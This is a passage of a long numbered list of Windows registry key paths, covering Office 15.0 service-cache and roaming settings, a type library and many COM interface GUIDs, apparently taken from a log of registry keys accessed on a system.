  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1564. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}",
  1565. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0",
  1566. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\(Default)",
  1567. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\FLAGS",
  1568. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\FLAGS\\(Default)",
  1569. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\0",
  1570. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\0\\win32",
  1571. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\0\\win32\\(Default)",
  1572. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\HELPDIR",
  1573. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\HELPDIR\\(Default)",
  1574. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1575. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0",
  1576. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\(Default)",
  1577. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\FLAGS",
  1578. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\FLAGS\\(Default)",
  1579. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\0",
  1580. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\0\\win32",
  1581. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\0\\win32\\(Default)",
  1582. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\HELPDIR",
  1583. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{97214915-8612-4159-B0F3-D34A8D37360D}\\2.0\\HELPDIR\\(Default)",
  1584. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}",
  1585. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1586. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}",
  1587. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1588. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}",
  1589. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\\(Default)",
  1590. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}",
  1591. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\\(Default)",
  1592. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}",
  1593. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1594. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}",
  1595. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1596. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}",
  1597. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1598. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}",
  1599. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1600. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}",
  1601. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1602. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}",
  1603. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1604. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}",
  1605. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1606. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}",
  1607. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1608. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}",
  1609. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1610. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}",
  1611. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1612. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}",
  1613. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1614. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}",
  1615. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1616. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}",
  1617. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1618. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}",
  1619. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1620. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}",
  1621. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\\(Default)",
  1622. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}",
  1623. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\\(Default)",
  1624. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}",
  1625. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1626. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}",
  1627. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1628. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}",
  1629. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\\(Default)",
  1630. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}",
  1631. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\\(Default)",
  1632. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}",
  1633. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\\(Default)",
  1634. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}",
  1635. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\\(Default)",
  1636. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}",
  1637. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\\(Default)",
  1638. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}",
  1639. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\\(Default)",
  1640. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}",
  1641. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1642. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}",
  1643. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1644. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}",
  1645. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1646. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}",
  1647. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1648. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}",
  1649. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1650. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}",
  1651. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1652. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}",
  1653. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1654. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}",
  1655. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1656. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}",
  1657. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1658. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}",
  1659. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1660. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}",
  1661. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1662. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}",
  1663. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1664. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}",
  1665. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1666. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}",
  1667. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1668. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}",
  1669. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1670. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}",
  1671. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1672. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}",
  1673. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1674. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}",
  1675. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1676. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}",
  1677. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\\(Default)",
  1678. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}",
  1679. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\\(Default)",
  1680. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}",
  1681. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}\\(Default)",
  1682. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}",
  1683. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}\\(Default)",
  1684. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}",
  1685. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1686. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}",
  1687. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1688. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}",
  1689. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1690. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}",
  1691. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1692. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}",
  1693. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}\\(Default)",
  1694. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}",
  1695. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}\\(Default)",
  1696. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}",
  1697. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1698. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}",
  1699. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1700. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}",
  1701. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1702. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}",
  1703. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1704. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}",
  1705. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1706. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}",
  1707. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1708. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}",
  1709. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1710. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}",
  1711. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1712. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}",
  1713. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1714. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}",
  1715. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1716. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}",
  1717. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1718. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}",
  1719. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1720. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}",
  1721. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1722. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}",
  1723. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1724. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}",
  1725. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1726. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}",
  1727. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1728. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}",
  1729. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
